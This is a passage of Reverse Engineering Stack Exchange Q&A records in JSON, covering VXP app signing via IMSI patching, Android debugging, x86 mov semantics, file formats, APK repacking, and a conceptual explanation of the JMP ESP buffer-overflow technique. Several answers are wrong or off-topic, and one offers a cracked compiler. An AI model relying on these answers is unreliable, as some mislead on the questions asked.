Internet (Wayback Machine archived some of the pages but not all).</p>\n<p>I myself got a Nokia 220 and a Nokia 225, both are S30+ platform and run MRE VXP (I tried with J2ME jar file and it cannot run, says <code>can't open this file type</code>)</p>\n<p>Luckily, using <a href=\"https://github.com/UstadMobile/ustadmobile-mre/issues/2#issuecomment-561627649\" rel=\"nofollow noreferrer\">this man's copy</a> of MRE SDK 3.0, and using <a href=\"https://developer.arm.com/downloads/-/rvds-and-ads\" rel=\"nofollow noreferrer\">ARM RVDS</a>, I was able to compile a simple 'Hello World' application for MRE (you can download it <a href=\"https://transfer.sh/rFF5Rx/Default.vxp\" rel=\"nofollow noreferrer\">here</a>).</p>\n<h1>Problems</h1>\n<p>I copy the <code>vxp</code> file to my SD card, plug it in the phone, then open the vxp file. The application refused to run, says <code>can't open this app at the moment</code>. I tried other resolution in the SDK, other SDK version (they have SDK 1.0, 2.0 and 3.0), using different compiler (GCC), and it still doesn't run.</p>\n<p>Check my vxp file with <code>file</code>, it outputs <code>Default.vxp: ELF 32-bit LSB shared object, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /usr/lib/ld.so.1, not stripped</code>, but I don't know how to make it statically linked, even passing <code>-static</code> option to GCC doesn't work. (Maybe the problem is here)</p>\n<h1>Other <code>vxp</code> apps</h1>\n<p>I found there are some <code>vxp</code> store online (most are <code>*.xtgem.com</code>, I don't know why), for example <a href=\"http://shifat100.xtgem.com\" rel=\"nofollow noreferrer\">http://shifat100.xtgem.com</a>. I tried downloading some vxp files, put it onto my SD card and run it. Some apps work, while some don't. Some apps work for Nokia 220 but not work on Nokia 225, for example the <a href=\"http://www.shifat100.xtgem.com/avengers.vxp\" rel=\"nofollow noreferrer\">Advengers VXP</a> works on Nokia 220 but not on Nokia 225 (Nokia 225 has bigger screen, so I think app resolution is the problem)</p>\n<p>Anyway, MRE SDK has an <code>Auto adaptable</code> option for screen resolution.</p>\n<p><a href=\"https://i.stack.imgur.com/L3Ir8.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/L3Ir8.png\" alt=\"mre\" /></a></p>\n<p><a href=\"http://blacklove.wapamp.com/files/OperaMini4.4.V32206.vxp\" rel=\"nofollow noreferrer\">The Opera Mini VXP</a> works on both of my phones.</p>\n<p>I noticed that most of the VXP for Nokia are made by Gameloft - a game company.</p>\n<h1>File format</h1>\n<p>I tried opening the <a href=\"http://shifat100.xtgem.com/files/Asphalt%206%20Full%20Version.vxp\" rel=\"nofollow noreferrer\">Asphalt VXP</a> and that Opera Mini VXP on HxD editor and to my surprise, they are in different formats:\n<a href=\"https://i.stack.imgur.com/G4WWk.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/G4WWk.png\" alt=\"vxp\" /></a></p>\n<p>On the left is the Opera Mini VXP, which is in ELF format, on the right is the Asphalt VXP (developed by Gameloft) in unknown format, but the <code>x</code> at the beginning tells me it might be compressed by zlib.</p>\n<p>Tried with <code>file</code>: <code>Asphalt 6 Full Version.vxp: zlib compressed data</code>\nTried with <code>7z l</code>: <code>ERROR: Asphalt 6 Full Version.vxp : Can not open the file as archive</code></p>\n<p>Using <code>strings</code> shows <a href=\"https://gist.githubusercontent.com/raspiduino/3d7ec65a47272f023048a36d05aac4fd/raw/a126f4d204530b54fd2f106ee4e5c15237f5b2a0/asphalt.txt\" rel=\"nofollow noreferrer\">some interesting result</a></p>\n<p>Using <code>binwalk</code>:</p>\n<pre><code>python -m binwalk -B &quot;Asphalt 6 Full Version.vxp&quot;\n\nDECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n0             0x0             Zlib compressed data, best compression\n123284        0x1E194         Zlib compressed data, best compression\n278441        0x43FA9         GIF image data, version &quot;89a&quot;, 45 x 45\n281257        0x44AA9         GIF image data, version &quot;89a&quot;, 45 x 45\n</code></pre>\n<p>After extracting the files, I got 2 icon files, which seems correct for that game</p>\n<p><a href=\"https://i.stack.imgur.com/b55HG.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/b55HG.png\" alt=\"icon files\" /></a></p>\n<p>and 2 files extracted from 2 <code>Zlib compressed data</code>, using <code>file</code> on 2 files output the file type <code>data</code>. Using <code>python -m binwalk -B -A</code> for the first file at offset 0 shows many ARM instructions (which seems to be reasonable since the phone was based on Mediatek ARM chip).</p>\n<p>I tried loaded it into IDA, but since I don't know the start address, it's really hard to get where the entry point is.</p>\n<p>Using <code>strings</code> also shows <a href=\"https://gist.githubusercontent.com/raspiduino/3d7ec65a47272f023048a36d05aac4fd/raw/ed4a2fea70d644a2220cfd9eec733f77bc7c9749/0.txt\" rel=\"nofollow noreferrer\">interesting things</a>. Things start with <code>vm_</code> like</p>\n<pre><code>vm_app_log\nvm_cell_open\nvm_cell_close\nvm_cell_get_cur_cell_info\nvm_cell_get_nbr_cell_info\nvm_cell_get_nbr_num\n</code></pre>\n<p>are some standart MRE API calls while things like</p>\n<pre><code>Unknown signal\nInvalid Operation\nDivide By Zero\nOverflow\nUnderflow\nInexact Result\n: Heap memory corrupted\nAbnormal termination\nArithmetic exception: \nIllegal instruction\nInterrupt received\nIllegal address\nTermination request\nStack overflow\nRedirect: can't open: \nOut of heap memory\nUser-defined signal 1\nUser-defined signal 2\nPure virtual fn called\nC++ library exception\n</code></pre>\n<p>seems to be runtime error messages.</p>\n<p>Using <code>strings</code> on the file at <a href=\"https://gist.github.com/raspiduino/3d7ec65a47272f023048a36d05aac4fd/raw/c233fd7ad01ec8bf93146f047b08a4ea918389b2/1E194.txt\" rel=\"nofollow noreferrer\">1E194</a> suggests that this might be a resource file, but note that strings in that file are also existed in the original VXP file without extracting (is binwalk wrong?)</p>\n<p>Back to Opera Mini VXP, this is an ELF file, shows by <code>file</code>: <code>OperaMini4.4.V32206.vxp: ELF 32-bit LSB executable, ARM, version 1 (SYSV), statically linked, stripped</code>.</p>\n<p>Try loading it into IDA, it seems unreasonable since the main function goes nowhere. I also not sure what is <code>supervisor call</code></p>\n<p><a href=\"https://i.stack.imgur.com/GXbQF.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/GXbQF.png\" alt=\"ida\" /></a></p>\n<p>If I patch any path of the file, for example change a character in a resource string (but still remains the same size as the original), it will output <code>can't open this app at the moment</code>.</p>\n<p>I have read <a href=\"https://answers.microsoft.com/en-us/mobiledevices/forum/all/nokia-s30-development-signing-support-in-mre/25c9ad93-644d-4543-9c0d-f539aad27c59\" rel=\"nofollow noreferrer\">here</a> that the applications which runs on Nokia S30+ will need to be signed. If that's true, that will explain why patching doesn't work.</p>\n<p>Can you figure out informations about the MRE VXP format, how to get it signed, and how to run self developed MRE app on Nokia phones? Thanks!</p>\n<h1>Notes</h1>\n<p>I am also trying reversing the phone's firmware to find out how <code>vxp</code> file loaded and executed. After doing some Google Search I found some example firmware source code for the MAUI platform (you can think of it like an OS), like <a href=\"https://github.com/hyperion70/HSPA_MOLY.WR8.W1449.MD.WG.MP.V16\" rel=\"nofollow noreferrer\">this</a> repo, but I cannot find out how it load vxp files.</p>\n<p>If anyone is also interested in reversing this firmware, tell me and I will open a new post :)</p>\n",
        "Title": "What's the format of Mediatek MRE VXP file and how to create a workable VXP binary?",
        "Tags": "|arm|elf|",
        "Answer": "<p>First I want to say thanks to people at 4pda forum. See their thread <a href=\"https://4pda.to/forum/index.php?showtopic=1041371&amp;st=0\" rel=\"nofollow noreferrer\">here</a>.</p>\n<blockquote>\n<p>Can you figure out informations about the MRE VXP format</p>\n</blockquote>\n<p>Well I haven't found yet, need further research</p>\n<blockquote>\n<p>how to get it signed</p>\n</blockquote>\n<p>Short answer:</p>\n<p>Step 1: Get your <b>SIM 1</b>'s <strong>IMSI</strong> number (<strong>NOT</strong> IMEI, they are <strong>DIFFERENT!</strong>)</p>\n<p>You can do this in multiple ways, but the easiest way is to plug the SIM 1 in to an Android phone and read. I personally <a href=\"https://stackoverflow.com/questions/14813875/how-to-get-imsi-number-in-android-using-command-line\">use ADB to read IMSI</a> (worked on Android 6+ without root):</p>\n<pre><code>adb shell service call iphonesubinfo 7\n</code></pre>\n<p>Step 2: Go to <a href=\"https://vxpatch.luxferre.top/\" rel=\"nofollow noreferrer\">https://vxpatch.luxferre.top/</a> and input the IMSI number you got in step 1. Then select your VXP file, click 'Patch' and you should be able to download a patched version.</p>\n<p>or</p>\n<p>You can enter the IMSI number in the project setting, but <strong>REMEMBER TO ADD 9 BEFORE THE IMSI NUMBER</strong></p>\n<p><a href=\"https://i.stack.imgur.com/1QFTC.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/1QFTC.png\" alt=\"imsi\" /></a></p>\n<p>Step 3: Move the patched version into a SD card and plug it in your phone\nStep 4: Find the vxp file and click open, your app should run now!</p>\n<p>Long answer:\nSome apps doesn't require specify the IMSI, they just work on any devices. That's because they use another way of signing, using RSA key.</p>\n<p>If you are interested, read <a href=\"https://4pda.to/forum/index.php?showtopic=1041371&amp;st=20#:%7E:text=%D0%A2%D0%B0%D0%BC%20%D0%BF%D1%80%D0%BE%D0%B2%D0%B5%D1%80%D0%BA%D0%B0%20%D1%86%D0%B8%D1%84%D1%80%D0%BE%D0%B2%D0%BE%D0%B9%20%D0%BF%D0%BE%D0%B4%D0%BF%D0%B8%D1%81%D0%B8%20%D0%BD%D0%B0%20RSA%20%D0%BA%D0%BB%D1%8E%D1%87%D0%B0%D1%85%20(%D1%83%20%D0%BC%D0%B5%D0%B4%D0%B8%D0%B0%D1%82%D0%B5%D0%BA%20%D0%B7%D0%B0%D0%BA%D1%80%D1%8B%D1%82%D1%8B%D0%B9%20%D0%BA%D0%BB%D1%8E%D1%87%2C%20%D0%B0%20%D0%B2%20%D0%BF%D0%B0%D0%BC%D1%8F%D1%82%D0%B8%20%D1%82%D0%B5%D0%BB%D0%B5%D1%84%D0%BE%D0%BD%D0%B0%20%D0%BE%D1%82%D0%BA%D1%80%D1%8B%D1%82%D1%8B%D0%B9)%0A%D0%9F%D0%BE%D0%B4%D1%80%D0%BE%D0%B1%D0%BD%D0%B5%D0%B5%20%D1%82%D1%83%D1%82%20%D0%9A%D0%B0%D1%82%D0%B0%D0%BB%D0%BE%D0%B3%20%D0%B8%D0%B3%D1%80%20%D0%B8%20%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%20%D0%B4%D0%BB%D1%8F%20%D0%BA%D0%B8%D1%82%D0%B0%D0%B9%D1%81%D0%BA%D0%B8%D1%85%20%D1%82%D0%B5%D0%BB%D0%B5%D1%84%D0%BE%D0%BD%D0%BE%D0%B2%20(%D0%9F%D0%BE%D1%81%D1%82%20Ximik_Boda%20%23111714051)%0A%D0%B8%20%D1%82%D1%83%D1%82%20%D0%9A%D0%B0%D1%82%D0%B0%D0%BB%D0%BE%D0%B3%20%D0%B8%D0%B3%D1%80%20%D0%B8%20%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%20%D0%B4%D0%BB%D1%8F%20%D0%BA%D0%B8%D1%82%D0%B0%D0%B9%D1%81%D0%BA%D0%B8%D1%85%20%D1%82%D0%B5%D0%BB%D0%B5%D1%84%D0%BE%D0%BD%D0%BE%D0%B2%20(%D0%9F%D0%BE%D1%81%D1%82%20Ximik_Boda%20%23107895102)\" rel=\"nofollow noreferrer\">here</a>. The text is in Russian, so use Google Translate if you want to.</p>\n<p>I have tested with ADS 1.2 compiler (I cracked myself, if you want it then tell me) and GCC (Smaller size + work very well) and Nokia 225, will continue to test further!</p>\n<p>The apps in S30+ platform are written in C (and optionally C++), so you can port many apps to S30+</p>\n<p>Again, a great thanks to people at 4pda forum!</p>\n<p>An image of the app running after signing:</p>\n<p><a href=\"https://i.stack.imgur.com/N2VRx.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/N2VRx.png\" alt=\"image of the app\" /></a></p>\n"
    },
    {
        "Id": "30493",
        "CreationDate": "2022-06-09T03:41:35.787",
        "Body": "<p>I currently don't have a pc. I have two rooted devices <code>Arm64</code> host device with Debian rootfs and the device to be debugged which contains the lldb-server binary <code>armv7</code>. I am trying to remote debug my android device using LLDB. I pulled the <code>lldb-server</code> binary from android ndk24 and put it in <code>/data/local/tmp</code>. Installed Debian sid on <code>another term</code> and <code>apt</code> installed <code>lldb</code>.</p>\n<p>I connected client device via wifi-hotspot (one with <code>lldb-server</code>) using the host with the linux rootfs.</p>\n<p>The commands I ran on server device</p>\n<pre><code>./data/local/tmp/lldb-server platform --listen &quot;*:2000&quot;\u00a0 --server\n</code></pre>\n<p>Checked using <code>netstat</code> and the lldb-server had bound to all addresses(<code>0.0.0.0:2000</code>)</p>\n<p>On host(client <code>lldb</code>) device in <code>debian sid</code> terminal I ran:</p>\n<pre><code>apt install lldb\nlldb\nplatform select remote-android\nplatform connect connect://192.168.201.132:2000\n</code></pre>\n<p>Then I got <code>error failed connect port</code>.</p>\n<p>However, using <code>GDB</code> and <code>gdbserver</code> everything worked perfectly. I have tried installing <code>lldb</code> on <code>debian buster</code> but same result and even ran the <code>lldb-server</code> binary on the host(device with <code>debian sid</code>) but same result. Right now I'm stuck here. How do I solve this?</p>\n<p>Help will be greatly appreciated. Thank you.</p>\n<p><strong>Edit</strong> Here is output of <code>telnet</code></p>\n<pre><code>root@localhost:~# telnet 192.168.43.1 2000\nTrying 192.168.43.1...\nConnected to 192.168.43.1.\nEscape character is '^]'.\nConnection closed by foreign host.\nroot@localhost:~# telnet 192.168.43.1 5555\nTrying 192.168.43.1...\nConnected to 192.168.43.1.\nEscape character is '^]'.\nKilled\nroot@localhost:~#\n</code></pre>\n<p>And heres same network output from lldb.</p>\n<pre><code>lldb) platform select remote-android\n  Platform: remote-android\n Connected: no\n(lldb) platform connect connect;//192.168.43.1:2000\nerror: Invalid URL: connect;//192.168.43.1:2000\n(lldb) platform connect connect://192.168.43.1:2000\nerror: Failed to connect port\n(lldb)\n</code></pre>\n<p>And now I dont really know the problem. Should i try installing on a different rootfs? Let me do that.</p>\n<p><strong>Edit 2</strong></p>\n<p>Installed ubuntu focal and still got same results on lldb 10.0.0.</p>\n",
        "Title": "LLDB debugging on android?",
        "Tags": "|debugging|android|arm|lldb|",
        "Answer": "<p>I don't know if this should be an answer or not. I finally managed to use <code>lldb</code> remote debugging but again faced more challenges but eventually prevailed.</p>\n<p>What I did was instead of using <code>lldb</code> platform command I used <code>lldb gdbserver</code> command which function correctly but had a caveat of accepting local connections only and rejecting connections from external addresses. So I had to use iptables' nat table to finally make it work.</p>\n<pre><code>iptables -I INPUT -t nat -p tcp -d 192.168.43.1 --dport 2000 -j SNAT --to-source 192.168.43.1:50000\n./data/local/tmp/lldb-server g 192.168.43.1:2000\n</code></pre>\n<p>Then on <code>lldb</code> client I did</p>\n<pre><code>gdb-remote 192.168.43.1:2000\n</code></pre>\n"
    },
    {
        "Id": "30498",
        "CreationDate": "2022-06-10T11:35:14.403",
        "Body": "<p>After failing to find a solution to <a href=\"https://reverseengineering.stackexchange.com/questions/30493/lldb-debugging-on-android\">this</a> I have started using Gdb  and have encountered another error.</p>\n<p><code>Gdb</code>fails to set hardware watchpoint when I'm remote debugging a rooted <code>arm7-a</code> target. It supports hardware watchpoints and breakpoints according to the Technical references manual.</p>\n<blockquote>\n<p><strong>Breakpoints and watchpoints</strong></p>\n<p>The processor supports six breakpoints, four watchpoints, and a\nstandard Debug Communications Channel (DCC). Four of the breakpoints\nmatch only to virtual address and the other two match against either\nvirtual address or context ID, or Virtual Machine Identifier (VMID).\nAll the watchpoints can be linked to two breakpoints to enable a\nmemory request to be trapped in a given process context.</p>\n</blockquote>\n<p>If i set a hardware watchpoint on <code>gdb</code> then it says failed to set hardware watchpoint. But if i change the parameter using:</p>\n<pre><code>set can-use-hw-watchpoints 0\n</code></pre>\n<p>I can set the software watchpoint successfully but it is very slow and laggy. I really dont understand why its failing. Could it be because the watchpoint is not correctly aligned?</p>\n<p>The processor is an arm cortex-a7 and i can link the technical references manual if needed. Help would be greatly appreciated.</p>\n",
        "Title": "Gdb hardware watchpoint error on android",
        "Tags": "|debugging|android|arm|gdb|breakpoint|",
        "Answer": "<p>Turns out this processor doesn't support hardware watchpoints or the debuggers dont have support for hardware watchpoints for my processor. After trying to set a watchpoint with <code>lldb</code> lldb reported that there are <code>0</code> available hardware watchpoints. So there is no way around this one.</p>\n"
    },
    {
        "Id": "30505",
        "CreationDate": "2022-06-11T15:08:26.783",
        "Body": "<p>I am having problems distinguishing whether the address is loaded or the content from the address. Please help me clarify.</p>\n<pre><code>1. mov     [rsp+78h+arg_0], rsi\n2. mov     rsi, cs:qword_1F39B60\n3. mov     [rsp+78h+arg_38], rsi\n</code></pre>\n<ol>\n<li>If line 2 is loading <code>1F39B60</code> in <code>rsi</code> or the contents of <code>1F39B60</code> in <code>rsi</code>?</li>\n<li>Would <code>lea rsi, [qword_1F39B60]</code> be the same?</li>\n<li>If non bracket using <code>mov</code> action on a memory even allowed or this is just a visual IDA thing?</li>\n<li>Can you explain to me why it shows <code>cs:</code> even though <code>qword_1F39B60</code> is in the <code>.data segment</code>? Shouldn't it be <code>ds:</code>?</li>\n</ol>\n<p>Last but not the least this isn't directly connected to my main question but is <code>rsp+78h</code> a fancy way of saying <code>rbp</code> by the disassembler?</p>\n",
        "Title": "What is the outcome of mov on non bracket memory locations?",
        "Tags": "|assembly|x86-64|intel|",
        "Answer": "<ol>\n<li><code>rsi</code> is being copied into <code>arg_0</code></li>\n<li><code>lea rsi, [qword_1F39B60]</code> means <code>rsi</code> would contain a pointer to <code>qword_1F39B60</code></li>\n<li>Yes it is allowed, it's a mem-&gt;reg operation.</li>\n<li>I believe that <code>ds</code> and <code>ss</code> are usually set to zero when using 64bit mode, but <code>cs</code> is set to the start of the text segment, so is the only segment register that can be used to generate a valid address. (There are some conflicting views on this, and I may be wrong)</li>\n<li>Usually <code>rbp</code> will be set to <code>rsp</code> before space is allocated on the stack:</li>\n</ol>\n<pre><code>push rbp              ; save the current frame pointer\nmov rbp, rsp          ; create a new frame\nsub rsp, rax          ; allocate space on the stack\n</code></pre>\n<p>However, it looks like this program is optimised (omit frame pointers) and is using <code>rsp</code> for all references, so <code>rbp</code> may be used for anything in this case but not its usual job.</p>\n"
    },
    {
        "Id": "30508",
        "CreationDate": "2022-06-12T12:34:47.810",
        "Body": "<p>After trying to use watch command, LLDB said the device had 0 available hardware watchpoints. In GDB you can use</p>\n<pre><code>set can-use-hw-watchpoints 0\n</code></pre>\n<p>How do you disable hardware watchpoints in LLDB?</p>\n",
        "Title": "How to use software watchpoints in LLDB?",
        "Tags": "|debugging|debuggers|breakpoint|lldb|",
        "Answer": "<p>As we know there are limitations to using watchpoints: there are a finite amount of watchpoints permitted per architecture (typically 4) and the \u201cwatched\u201d size of memory usually caps out at 8 bytes. Therefore, it is important to delete them after they are no longer needed.</p>\n<p>You can delete a watchpoint in <code>lldb</code> using the <code>watchpoint delete</code> command and passing the watchpoint ID as an argument.</p>\n<p>Example:</p>\n<pre><code>(lldb) watchpoint delete 1\n1 watchpoints deleted.\n</code></pre>\n<p>Or we can use,</p>\n<pre><code>(lldb) w delete 1\n1 watchpoints deleted.\n</code></pre>\n<p>To delete all watchpoints - simply omit the last argument.</p>\n"
    },
    {
        "Id": "30519",
        "CreationDate": "2022-06-15T15:03:57.697",
        "Body": "<p>Currently, I am trying to understand <code>.amxd</code> file formats. I firstly tried to open it in VIM to see what this contains. Turns out there is a JSON file and others files also in the file (I can see PNG somewhere after the JSON).</p>\n<p>So I guess it is compressed, but I can't find anywhere what this is compressed with.</p>\n<p>Here is the header I got using <code>od -tx1 file.amxd | head</code></p>\n<pre><code>0000000 61 6d 70 66 04 00 00 00 6d 6d 6d 6d 6d 65 74 61\n0000020 04 00 00 00 07 00 00 00 70 74 63 68 c0 26 01 00           \n0000040 6d 78 40 63 00 00 00 10 00 00 00 00 00 01 25 e8           \n0000060 7b 0a 09 22 70 61 74 63 68 65 72 22 20 3a 20 09           \n0000100 7b 0a 09 09 22 66 69 6c 65 76 65 72 73 69 6f 6e           \n0000120 22 20 3a 20 31 2c 0a 09 09 22 61 70 70 76 65 72           \n0000140 73 69 6f 6e 22 20 3a 20 09 09 7b 0a 09 09 09 22           \n0000160 6d 61 6a 6f 72 22 20 3a 20 38 2c 0a 09 09 09 22           \n0000200 6d 69 6e 6f 72 22 20 3a 20 30 2c 0a 09 09 09 22           \n0000220 72 65 76 69 73 69 6f 6e 22 20 3a 20 30 2c 0a 09\n</code></pre>\n<p>I can find the same header in the other files.</p>\n<p>When using <code>file</code> I get that it contains <code>data</code>, so I guess this doesn't really help me...</p>\n<p>If someone can maybe help me on how to uncompress this, I would be very happy ! Thanks you !</p>\n",
        "Title": "What kind of compressing/encoding is this?",
        "Tags": "|file-format|decompress|",
        "Answer": "<p>The overall structure of the file appears to be that of a <a href=\"https://en.wikipedia.org/wiki/Resource_Interchange_File_Format\" rel=\"nofollow noreferrer\">RIFF</a> file.  This format consists of a number of separate 'chunks' of data each preceded by a header containing a 4 byte chunk type and a 4 byte (little-endian) length.</p>\n<p>Your file begins -</p>\n<pre><code> Offset   Type   Length   Data\n======== ====== ========  ========\n0000000: 'ampf' 00000004  'aaaa'\n000000C: 'meta' 00000004  00000007    // probably the version of the AMXD file\n0000028: 'ptch' 000126C0  ...\n....\n</code></pre>\n<p>Looking at a couple of <code>.amxd</code> files online (with meta = 1) these only contain the <code>ampf</code> <code>meta</code> and <code>ptch</code> chunks and the <code>ptch</code> chunk in each case is total in json format.</p>\n<p>This is not the case with your file (with <code>meta</code> = 7).  Interestingly, the data in the <code>ptch</code> chunk seems have it's own header (with values in big-endian format) before the json data.</p>\n<pre><code>00000030: `ax@c` 00000010 00000000 000125E8\n</code></pre>\n<p>With only a single example it's hard to infer much from this other than the last value here is a length.</p>\n<hr />\n<p><strong>Edit:</strong> Looking at <code>Infinity.amxd</code> in the github repository you linked to sheds more light on the files with <code>meta</code> = 7.</p>\n<p>The top-level structure it that of a RIFF file (with little-endian values)</p>\n<pre><code>00000000:   'ampf' 00000004 6D6D6D6D\n0000000C:   'meta' 00000004 00000007\n00000018:   'ptch' 0000D13A ....     // (This chunk contains the whole rest of the file)\n</code></pre>\n<p>Digging further, it appears that the <code>ptch</code> chunk itself contains nested chunks of data in a slightly different format (with big-endian values) -</p>\n<pre><code>00000020:   'mx@c' 00000010 000000000000CFFA\n00000030:        ... blob of data ...\n0000D01A:   'dlst' 00000140 \n0000D012:       'dire' 00000068 \n0000D02A:           'type' 0000000C 'JSON'\n0000D036:           'fnam' 00000018 'Infinity.amxd'\n0000D04E:           'sz32' 0000000C 0000CC39\n0000D05A:           'of32' 0000000C 00000010\n0000D066:           'vers' 0000000C 00000000\n0000D072:           'flag' 0000000C 00000011 \n0000D07E:           'mdat' 0000000C D9F0E203\n0000D08A:       'dire' 00000068\n0000D092:           'type' 0000000C 'PNG '\n0000D09E:           'fnam' 00000018 'infinityyy.png'\n0000D0B6:           'sz32' 0000000C 000002B6\n0000D0C2:           'of32' 0000000C 0000CC49 \n0000D0CE:           'vers' 0000000C 00000000\n0000D0DA:           'flag' 0000000C 00000000\n0000D0E6:           'mdat' 0000000C D6E92F11\n0000D0F2:       'dire' 00000068\n0000D0FA:           'type' 0000000C 'PNG '\n0000D106:           'fnam' 00000018 'infinity13.png'\n0000D11E:           'sz32' 0000000C 000000FB\n0000D13A:           'of32' 0000000C 0000CEFF\n0000D136:           'vers' 0000000C 00000000\n0000D142:           'flag' 0000000C 00000000\n0000D14E:           'mdat' 0000000C D6F90E73\n</code></pre>\n<p>This begins with a blob of data and is followed by a directory listing <code>dlst</code>.\nEach directory entry 'dire' references a file whose data can be found in the blob chunk using offset <code>of32</code> (relative to the start of the <code>ptch</code> chunk data i.e. <code>00000020</code>) and size <code>sz32</code>.</p>\n<p>In summary the data in the <code>Infinity.amxd</code> file consists of a <code>json</code> file and 2x <code>png</code> files all of which should now be easy to extract.</p>\n"
    },
    {
        "Id": "30535",
        "CreationDate": "2022-06-20T17:02:07.890",
        "Body": "<p>I have an APK that has assemblies in a single blob file. I could extract them successfully using decompress-assemblies.</p>\n<p>Is there anyway I can compress them again into assemblies.blob file or at least modify the APK to allow loading the the extracted DLL like older Xamarin APKs?</p>\n<p>I seem to have found that the application checks for application_config.have_assembly_store value, if it's true, it only continues if there's an assembly blob. Any idea how to change this value inside the APK?</p>\n",
        "Title": "Compress Xamarin assemblies after decompression",
        "Tags": "|android|dll|decompress|c#|",
        "Answer": "<p>For unpacking and repacking Xamarin <code>assemblies.blob</code> + <code>assemblies.manifest</code> files you can use the Python based tool <a href=\"https://github.com/jakev/pyxamstore/\" rel=\"nofollow noreferrer\">Xamarin AssemblyStore Explorer (pyxamstore)</a>.</p>\n<h3>Unpacking</h3>\n<p>Make sure your current directory contains the files <code>assemblies.blob</code> and <code>assemblies.manifest</code>.</p>\n<pre><code>pyxamstore unpack\n</code></pre>\n<p>This will create the directory <code>out</code> which will contain the decoded dll files.</p>\n<h3>Repacking</h3>\n<p>Enter the directory where you have execute  <code>pyxamstore unpack</code> and execute</p>\n<pre><code>pyxamstore pack\n</code></pre>\n<p>This will generate the two files <code>assemblies.blob.new</code> and <code>assemblies.manifest.new</code>. Just rename the two files to it's original names without <code>.new</code> and replace them in the APK file.</p>\n<p>Finally don't forget to <code>zipalign</code> and resign (<code>apksigner</code>) your APK file.</p>\n"
    },
    {
        "Id": "30549",
        "CreationDate": "2022-06-23T21:23:49.033",
        "Body": "<p>I was reading <a href=\"https://vulp3cula.gitbook.io/hackers-grimoire/exploitation/buffer-overflow\" rel=\"nofollow noreferrer\">this</a> article by Hackers Grimoire on Windows buffer overflow attacks.</p>\n<p>The article made sense, except for the part where the author searched for a DLL (.dll) file which contained a <code>JMP ESP</code> instruction. I understood the other requirements, such as ensuring the DLL was not protected with DEP, ASLR etc...</p>\n<p>Why was it necessary to find a DLL file with <code>JMP ESP</code> and note its memory address?</p>\n",
        "Title": "Why is JMP ESP required in buffer overflow?",
        "Tags": "|disassembly|windows|assembly|buffer-overflow|esp|",
        "Answer": "<p>The problem is that the instruction pointer will always follow the program flow, unless you can alter it. They key time to alter it is on the return from a function, when the saved instruction pointer is popped off the stack into <code>eip</code>. If you can overwrite the saved instruction pointer you can redirect program execution.</p>\n<p>Finding a <code>jmp esp</code> at a semi-predictable place in memory allows you to redirect execution to the top of the stack reliably.</p>\n<p>So the process would be something like:</p>\n<ul>\n<li>Overwrite saved instruction pointer (ebp+4) on the stack with the address of <code>jmp esp</code> in the .dll.</li>\n<li>When the function returns, execution continues at the <code>jmp esp</code> instruction.</li>\n<li>The <code>jmp esp</code> then redirects execution to the top of the stack where your payload is waiting.</li>\n</ul>\n"
    },
    {
        "Id": "30562",
        "CreationDate": "2022-06-27T12:28:04.330",
        "Body": "<p>I'd like to know how I can save/restore comments or possibly other metadata during a debugging session.</p>\n<p>I know how to save this data when running radare without the <code>-d</code> flag but I often need to debug the binary and would like a way to save <em>at least</em> the comments I made during this.</p>\n<p>I know about the <code>Ps</code> <code>Po</code> commands but this is what radare2 tells me</p>\n<pre><code>[0x7ff33eba18a0]&gt; Ps xxx\nradare2 does not support projects on debugged bins.\nCannot save project.\n</code></pre>\n<p>I am using version:</p>\n<pre><code>&gt; r2 -v\nradare2 5.6.8 0 @ linux-x86-64 git.\ncommit: 5.6.8 build: 2022-06-22__12:33:33\n</code></pre>\n<p>Any help or other way of achieving this is also welcome.</p>\n",
        "Title": "Radare2 - Saving information/metadata from a debugging session",
        "Tags": "|debugging|radare2|",
        "Answer": "<p>Projects has been disabled in debugger mode because not all metadata is rebased when aslr is involved which may result on confusing analysis/comments information. If you disable aslr, or your target is always loading in the same place you can do a couple of things:</p>\n<ul>\n<li><code>Ps saving@e:cfg.debug=false</code></li>\n</ul>\n<p>or just save the comments into a file:</p>\n<ul>\n<li><code>CC* &gt; comments.r2</code></li>\n</ul>\n<p>you can reload the script with the <code>. comments.r2</code> or starting the session with <code>r2 -i comments.r2 ...</code> to get the comment lines loaded into the session.</p>\n<p>Same goes for all the analysis information. if you append <code>*</code> to any command you get the output in r2 commands script.</p>\n"
    },
    {
        "Id": "30567",
        "CreationDate": "2022-06-28T12:10:49.637",
        "Body": "<p>I have created a script in Java and I have a structure type as a string name which I want to set at given global variable which I have the Address of.</p>\n<p>However I can't seem to find a way to do this - like I can get the symbol or something but this doesn't allow me to change the type.</p>\n<p>Any ideas?</p>\n",
        "Title": "[Ghidra]How to set global variable type?",
        "Tags": "|ghidra|java|",
        "Answer": "<p>First get the <code>DataType</code> that you want, for example <code>struct foo</code>:</p>\n<p><code>DataType dt = getDataTypes(&quot;foo&quot;)[0];</code></p>\n<p>Or if it's just a pointer you'll have to get the pointer of that type.</p>\n<p>You said you already have the address, you'll need to make sure it's an <code>Address</code> if not already:</p>\n<p><code>Address addr = toAddr(0x12345678);</code></p>\n<p>Then create the data:</p>\n<p><code>Data data = createData(addr, dt);</code></p>\n<p>It may already have something there if that fails, you can clear out that memory (there is another API for this if you need more control, this is the simple case):</p>\n<p><code>clearListing(addr, addr.add(dt.getLength() - 1);</code></p>\n"
    },
    {
        "Id": "30586",
        "CreationDate": "2022-07-02T18:43:21.390",
